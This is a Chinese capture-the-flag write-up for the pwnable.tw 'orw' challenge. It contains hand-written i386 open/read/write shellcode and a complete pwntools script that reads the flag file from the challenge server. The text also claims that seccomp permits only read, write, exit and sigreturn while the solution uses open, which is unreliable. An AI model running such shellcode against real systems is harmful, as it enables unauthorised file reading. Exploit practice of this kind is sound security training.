pwnable.tw—orw
这题主要考验的是shellcode的自我制作,建议学会Linux Sysycall Reference 再来,或者第一题start彻底搞会。
题目分析:
照例:
就开了栈保护,虽然都没有什么用。
题目开始就是让你输入shellcode。
就用msf随便试了几下,发现有些被过滤了。
调试看看:
发现调用了seccomp,百度了下是一个linux的类似白名单的东西,它能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system calls),即read(), write(), exit()和sigreturn(),否则进程便会被终止。
seccomp详解
OK,那就是shellcode只能使用read(),write(),但是好像不能做些什么,又不能像start一样写执行的shellcode(调用execve),所以很自然的想到了open()。
思路分析
写好设计代码,然后转化成汇编,然后在转化成机器码。
执行测试
伪代码:
char *file="/home/orw/flag"
sys_open(file,0,0)
sys_read(3,file,0x30)
sys_write(1,file,0x30)
汇编代码:
#coding:utf-8
from pwn import *
file_name="./orw"
context(log_level = 'debug', arch = 'i386', os = 'linux')
#p=process(file_name)#本地
p=remote('chall.pwnable.tw',10001)#远程
#shellcode=asm(shellcraft.sh())
shellcode=""
shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;')
#open(file,0,0)
shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;')
#read(3,file,0x30)
shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;')
#write(1,file,0x30)
def pwn():
recv = p.recvuntil(':')
p.sendline(shellcode)
flag = p.recv(100)
print flag
pwn()
后面看别人的weiteup发现是可以dump出程序可执行的函数的。
明天再试试
https://blog.youkuaiyun.com/qq_29343201/article/details/78109066?locationNum=3&fps=1